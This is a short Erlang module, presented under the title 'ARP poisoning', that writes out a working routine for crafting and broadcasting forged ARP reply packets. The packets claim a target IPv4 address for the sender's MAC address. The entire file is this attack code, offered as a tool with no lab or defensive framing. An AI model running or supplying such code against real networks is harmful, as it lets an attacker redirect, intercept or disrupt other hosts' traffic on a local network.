ARP poisoning

carp.erl

-module(carp).

-export([send/1, send/3]).

-define(ETHER_BROADCAST, <<16#FF, 16#FF, 16#FF, 16#FF, 16#FF, 16#FF>>).
-define(ETH_P_ARP, 16#0806).
-define(ETH_P_IP, 16#0800).

-define(ARPOP_REPLY, 2).
-define(ARPOP_REQUEST, 1).

send(IP) ->
    [Dev] = packet:default_interface(),
    {ok, PL} = inet:ifget(Dev, [hwaddr]),
    MAC = list_to_binary(proplists:get_value(hwaddr, PL)),
    send(Dev, MAC, IP).
send(Dev, MAC, IP) when is_list(Dev), is_binary(MAC), is_tuple(IP) ->
    {ok, Socket} = packet:socket(?ETH_P_ARP),
    Ifindex = packet:ifindex(Socket, Dev),     

    ok = packet:send(Socket, Ifindex, make_arp(?ARPOP_REPLY, MAC, IP)).

%% See: epcap_net.hrl/epcap_net.erl
make_arp(Type, Sha, {SA1,SA2,SA3,SA4}) ->
    Ether = <<
    ?ETHER_BROADCAST:6/bytes,   % target hardware address
    Sha:6/bytes,                % source hardware address
    ?ETH_P_ARP:16               % type
    >>,

    Arp = <<
    1:16,                       % hardware type
    ?ETH_P_IP:16,               % protocol type
    6:8,                        % hardware length
    4:8,                        % protocol length
    Type:16,                    % operation
    Sha:6/bytes,                % source hardware address
    SA1:8, SA2:8, SA3:8, SA4:8, % source IP address
    Sha:6/bytes,                % target hardware address set to source
    SA1:8, SA2:8, SA3:8, SA4:8, % target IP address set to source
    0:128                       % remainder of packet zero'ed
    >>,

    list_to_binary([Ether, Arp]).